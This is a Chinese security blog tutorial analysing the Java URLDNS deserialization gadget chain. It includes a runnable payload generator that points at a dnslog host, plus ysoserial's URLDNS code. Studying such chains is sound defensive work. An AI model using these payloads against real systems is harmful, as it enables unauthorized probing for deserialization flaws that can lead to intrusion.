URLDNS链分析

admin 2024年6月20日19:37:26评论16 views字数 3386阅读11分17秒阅读模式

URLDNS链是一条比较简单的利用链,它会发起一次URL请求,通常用于配合dnslog来测试是否存在反序列化漏洞,属于JDK自带,不用依赖第三方。

下面以JDK 1.8为例跟踪一下调用链:

HashMap中重写了readObject方法,在putVal时会调用hash(key)计算key的哈希

URLDNS链分析

如果key不为空的话则会调用key的hashcode方法计算哈希值

URLDNS链分析

因为我们传递的key是URL类型,所以会进入URL的hashcode方法

URLDNS链分析

hashcode=-1时,会调用handler的hashCode方法,而在URL.java中,hashCode默认等于-1。handler的类型是URLStreamHandlerURLDNS链分析

继续跟进去URLStreamHandler的hashCode方法,注意在这里调用了getHostAddress(u),把我们作为key的URL传递了进去

URLDNS链分析

跟进getHostAddress(),其实在getHostAddress()方法中已经开始解析host了(host就是我们传入的URL)URLDNS链分析

跟进InetAddress类,从注解中就可以知道这个类是用来解析URL的(通过主机名获取IP地址)

URLDNS链分析

因为HashMap实现了Serializable接口,重写了readObject方法,导致在接下来调用hashCode时,能够成功通过hashCode()方法,一步一步调用getHostAddress(),进而发起远程请求触发dnslog。

代码示例:

下面我们用实际的代码去看看这个流程

这里我们传入了一个DNS地址

URLDNS链分析

在进行put操作时会调用putVal的hash(key)方法

URLDNS链分析

因为key不为空,所以会调用URL的hashCode方法

URLDNS链分析

此时hashCode=-1,所以会继续调用URLStreamHandler的hashCode方法,在URLStreamHandler的hashCode方法中,会调用getHostAddres

继续往下跟,在getHostAddress方法中,442行开始解析我们传入的DNS地址

URLDNS链分析

此时可以看到在URLStreamHandler的hashCode方法中,getHostAddres()已经成功解析了我们传入的DNS地址

URLDNS链分析

此时我们也收到了DNS请求URLDNS链分析

⚡有一个问题就是上述操作是在序列化的时候进行的,但是我们的

payload要被序列化输出才能利用,而序列化的时候就被执行一次,则会造成误报。

那如何才能在序列化的时候不发起DNS请求呢?

因为只有在进入URLStreamHandler的hashCode方法时,getHostAddres()才会解析我们传入的URL,那我们在HashMap进行put操作之前不让其进入URLStreamHandler的hashCode方法,那么在序列化操作时也就不会进行域名解析。

在URL类的hashCode方法中可以看到,当hashCode!=-1时,会直接返回hashCode。

URLDNS链分析

所以我们要做的就是在进行put操作之前将hashCode的值改为非-1的数字。这里就需要用到Java的反射机制。

URLDNS链分析

我们在put操作之前,将hashCode值改为了123,所以在序列化时,就不会调用getHostAddres(),同样也不会有DNS请求。

URLDNS链分析

那如何在反序列化的时候发起DNS请求呢?

只需要在put操作之后将hashCode值改为-1即可

URLDNS链分析

这时在进行反序列化就会发起DNS请求

URLDNS链分析

Payload

package URLDNSTest;import java.io.*;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;public class EXP {    public static void main(String[] args) throws Exception{        HashMap<URL,Integer> hashmap=new HashMap<URL, Integer>();        URL url=new URL("http://dpdzsoridm.dgrh3.cn");        Class c=url.getClass();        Field urlhashCode=c.getDeclaredField("hashCode");         //获取URL的hashCode属性        urlhashCode.setAccessible(true);        urlhashCode.set(url,123);          //在put操作之前将hashCode值改为123        hashmap.put(url,1);        urlhashCode.set(url,-1);     //在put操作之后将hashCode值改回-1        serialize(hashmap);    }    public static void serialize(Object obj) throws IOException {        ObjectOutputStream s=new ObjectOutputStream(new FileOutputStream("test.txt"));        s.writeObject(obj);    }}

ysoserial的URLDNS链

Github地址:

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

关键代码

public class URLDNS implements ObjectPayload<Object> {    public Object getObject(final String url) throws Exception {        // 避免在payload创建期间进行DNS解析        URLStreamHandler handler = new SilentURLStreamHandler();        HashMap ht = new HashMap();         URL u = new URL(null, url, handler);         ht.put(u, url);         // 重置URL的hashCode缓存,以确保下次调用hashCode时触发DNS解析        Reflections.setFieldValue(u, "hashCode", -1);        return ht;    }    public static void main(final String[] args) throws Exception {        PayloadRunner.run(URLDNS.class, args); // 运行Payload    }    static class SilentURLStreamHandler extends URLStreamHandler {        protected URLConnection openConnection(URL u) throws IOException {            return null; // 返回null以避免任何连接操作        }        protected synchronized InetAddress getHostAddress(URL u) {            return null; // 返回null以避免任何DNS解析        }    }}

ysoserial的URLDNS链中SilentURLStreamHandler类继承了URLStreamHandler,并重写openConnection和getHostAddress方法。非常的简单粗暴,直接返回null,不发起DNS请求。

URLDNS链分析

而且在URL.java中,由于handler被transient关键字修饰,在序列化对象的时候,handler属性不会被序列化。意味着重写的方法并不会带进我们的payload中,这样我们在触发反序列化漏洞时,getHostAddress并没有被重写,能够正常请求我们的网址。妙啊🤩

URLDNS链分析

参考链接:

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.javahttps://github.com/java-sec/URLDNS-gadget?tab=readme-ov-filehttps://blog.csdn.net/qq_48201589/article/details/136049878

原文始发于微信公众号(安全攻防屋):URLDNS链分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月20日19:37:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   URLDNS链分析https://cn-sec.com/archives/2847582.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息